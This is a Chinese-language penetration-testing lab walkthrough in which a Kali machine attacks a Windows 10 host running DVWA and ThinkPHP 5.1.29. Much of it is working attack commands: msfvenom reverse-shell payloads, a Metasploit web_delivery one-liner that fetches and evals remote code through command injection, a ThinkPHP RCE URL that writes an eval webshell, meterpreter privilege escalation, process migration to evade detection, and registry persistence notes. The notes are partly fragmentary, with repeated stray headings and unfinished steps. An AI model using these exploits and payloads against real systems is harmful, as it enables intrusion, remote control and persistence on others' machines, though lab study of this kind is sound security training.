环境:攻击机kali(192.168.129.139),目标机windows10(192.168.129.132)
方法一:通过web站点,使用无文件的方式攻击利用执行(命令执行漏洞)
方法二:通过web站点,上传webshel,返回给msf(msfvenom)
方法三:攻击其他端口服务,拿到meterpreter(445)
一、Nmap端口收集
nmap -sV -T4 192.168.129.132(扫描的可能比较慢,两个字:等待)
这里以80作为突破口(漏洞最多的就是它,先打它)
方式一、访问web站点,寻找可能点(这里我使用小皮面板搭建的dvwa靶场)
dirsearch 御剑 爆破目录
命令执行就是进行一个拼接
Vulnerability: Command Injection :: Damn Vulnerable Web Application (DVWA)
http://192.168.129.132/dvwa/vulnerabilities/exec/
注意安全等级改为low
127.0.0.1(ping自己)
使用&&拼接命令
此处有命令执行的权限了,就可以使用msf
利用命令执行漏洞,结合上一章的知识,我们可以怎么做?
msfvenom生成payload
①python :
msfvenom -p python/meterpreter/reverge_tcp LHOST=<Your IP 'Address> LPORT=<Your Port to
Connect On> -f raw >shell.py
②bash :
msfvenom -p cmd/unix/reverse_bash LHOST=<Your, IP Addreas>LPORT=<Youx, Port to
Connect On> -f raw>shell.sh
③pexl :
msfvenom -p cmd/unix/reverse_perl LHOST=<Your,IP Address>LPORT=くYour Port to Connect
0n> -f raw>shell.pl
1、当攻击者拥有部分受害者主机的控制权,但还没有拿到一个完整的shell时,web_delivery就派
上用场。
2、web delivery的主要目的是快速和受害者主机建立一条session。当受害者主机存在比如命令注
入、远程命令执行等问题时,攻击者可以使用web delivery生成的一条命令建立连接。
3、另外web delivery的payload不会在受害者主机磁盘上写文件,而是直接将攻击者服务器上的代
码加载到内存执行,有利于绕过检测。
4、web delivery支持php/python/powershell等多种脚本,使用不同的脚本的payload时需要通过set
target或2来设置是使用php还是python还是powershell等。
因为判断出是php的,所以可以做如下操作:
①use exploit/multi/script/web_delivery //使用模块
②show options //显示可设置参数
③set lhost 指定目标ip
show targets //查看设置(php,python等等)
set target 编号
show options 再次查看配置
④set lport 指定端口
⑤run 执行
会生成一段代码,把代码复制,在上述开始时的127.0.0.1&&的位置处粘贴运行
此时还没有完成,因为没有配置php的环境变量(注意:对全部的用户进行配置(方式一))
干掉正占用的jobs
重新run执行
复制出生成的python代码(注意:要在一行)
同理方式进行运行
此时目的达成,拿到了meterpreter
操作步骤:
前提:测试拥有命令执行权限
①进入kali linux 启动msf
msfconsole
注意:如果启动不成功就多次启动尝试一下
search web_delivery
use 编号/需要的模块命令(这里我使用第一种) use 1
show options 查看可以指定的payload
set payload php/meterpreter/reverse_tcp
set lhost ip目标
set lport 端口
没有指定target
show targets 查看要指定的target
set target 1
show options 查看
run 执行
进入客户端网站页面:执行
部分1:127.0.0.1&&
php -d allow_url_fopen=true -r "eval(file_get_contents('http://192.168.129.132:8080/ncu6AXlH', false, stream_context_create(['ssl'=>['verify_peer'=> 部分2
分为以上两个部分
这里的攻击机没有收到任何回显:原因:因为这里搭建是使用的phpstudy,没有配置php的环境变
量,如果和java一样配置了环境变量的话(JDK) 。有兴趣自己去试试吧
我的位置在:C:\phpStudy\PHPTutorial\php(看你安装位置了)
注意:对全部的用户进行配置
尝试使用命令行执行,结果如下:
这里有python,我们切换python尝试
set target 0
注意:payload改回python
set payload python/meterpreter/reverse_tcp
run执行
注意:复制出来要一行(可以使用notepad++)
使用back命令是返回上一级 background后台执行
客户端运行(同理上)
jobs查看已经运行的,kill 编号 杀死在运行的
我这边显示服务器拒绝连接:(暂未解决,可能是版本的问题,后续补上)
成功后应如下图所示:
sessions查看
session 2进入meterpreter
所有的杀毒软件都会栏powershell(远程执行时)一刀切(执行过程类似)和拔网线一样
方式二、访问web站点,寻找可能点(上传webshell)
示例:
dirsearch扫描
dirsearch可能kali中没有需要自己安装
方式一、apt-get安装
简单(命令:apt-get install dirsearch)
①一般用法:
dirsearch -u url -e*
方式二、clone克隆方式
git clone https://github.com/maurosoria/dirsearch.git
然后在家目录进入dirsearch
cd dirsearch
然后再使用命令:
python3 dirsearch.py -u http://159.75.16.25 -e* (-e*扫描所有文件)(此处只展示使用方法,不
是针对此案例的扫描)
本示例开始:
此版本php存在远程命令执行漏洞
上述帮助我们getshell
可以由此利用python和上传webshell进行攻击(前面已经有python例子了此处我们使用上传)
meterpreter功能很少,要提权,可能被IDS拦截,后渗透,可以使用免杀马和不死马进行上传。
这里我们上传(phpinfo,shell.php)
执行如下:
无报错
查看靶机(上传成功)
可以进行连接
适用webshell进行连接
蚁剑,冰蝎,哥斯拉,菜刀等工具
此处使用蚁剑(有时候使用这些工具时可能有莫名其妙的错误,不行就换工具)
此时拿到webshell了但它的权限很低,要拿到meterpreter
windows系统我们就有了上传权限,linux操作系统,我们就可以把木马上传到tmp目录下(因为
tmp目录下可读可写可执行)这是思露
马是msfvenom马,上去执行,拿到meterpreter(很清晰吧)
①use exploit/multi/handler
②show options
③set payload windows/meterpreter_reverse_tcp
④set lhost set lport
⑤run 进行监听(这边监听者)
复制此段:windows/meterpreter_reverse_tcp
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.129.139 lport=9999 -f exe -o test.exe
这边会生成test.exe,把它上传到(连接上webshell的机器),肯定会查杀(设置好后,来到蚁
剑,根据webshell上传test.exe文件)
查看权限:
是有可执行权限的(右击,在此处打开终端)
此时kali中已经进入到了meterpreter
此时就可以去做一些事情了
①getuid
②getsystem 简单提权(使用注册表进行一个管道)原理自己去了解一下吧
注意:如果你是网站管理员,你发现网站很卡,很可能有别人种的病毒(查任务管理器,找到
test.exe,结束了此进程,那你就没得玩了)
这边直接断了,那不行,有什么办法,作伪装(加壳,免杀)如何伪装?
查看进程id,进行进程迁移,搞成正常进程
环境想让他再次跑起来:如上操作,run(kali) ,stat test.exe(蚁剑机),等待kali机回复
①getpid
②ps 查看哪些进程在运行
高权限可以往低权限迁移,反过来不行
③getsystem 迁移到最高权限system
④进行迁移(这里是最高权限之后迁)
⑤migrate 迁移id(自己想迁移的,觉得不会被容易发现的)
此服务就将上传的木马文件迁移到了phpstudy中
分布式操作系统可以一对二(自己去看原理)
phpstudy没有断
此时就找不到test.exe了
这就是进程迁移
植入后门一般是植入到注册表里边
上述方式2我们是迁移到phpstydy,它是有文件的,而方式1是没有没文件的(内存中运行)管理员
关掉就没了。再重启木马就被杀掉了(方式2有后门)怕后门查杀的话,查杀注册表(更容易被查
杀,不推荐)注册表了写一个东西,以此开机运行
实验:暂未做
thinkphp5.1.29下载链接:https://pan.baidu.com/s/1b1l1HD0EP6c4uqtlSYokng
提取码:burp
直接解压放大小皮面板的www目录下,添加站点配置如下,php版本注意
页面显示:
测试漏洞:http://192.168.129.132/thinkphp/html/public/index.php?
s=/index/\think\request/cache&key=whoami|system
上马:
http://192.168.129.132/thinkphp/html/public/index.php?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20eval($_POST[c]);?%3E
执行结果如下:
查看靶机:上传成功(真实场景是看不到的哈)/html/public
此时可以使用shell.php去连接webshell(注意这里暂时先不使用代理)
双击,成功连接(webshell工具成功上线)
连过之后,此时就可以上传木马(拿到webshell后,拿到meterpreter)拿到webshell windows系统
有上传权限,执行权限。
上传msfvenom生成的马
注意这里的lhost是攻击机ip,lport要一致(今天先到这里)
这里一直连接不上(防火墙,有效负载,监听设置,网络访问和路由,反病毒软件都检查了,没排
出来)
后期再补
多次尝试
一、Nmap端口收集
方式一、访问web站点,寻找可能点(这里我使用小皮面板搭建的dvwa靶场)
操作步骤:
方式二、访问web站点,寻找可能点(上传webshell)
本示例开始: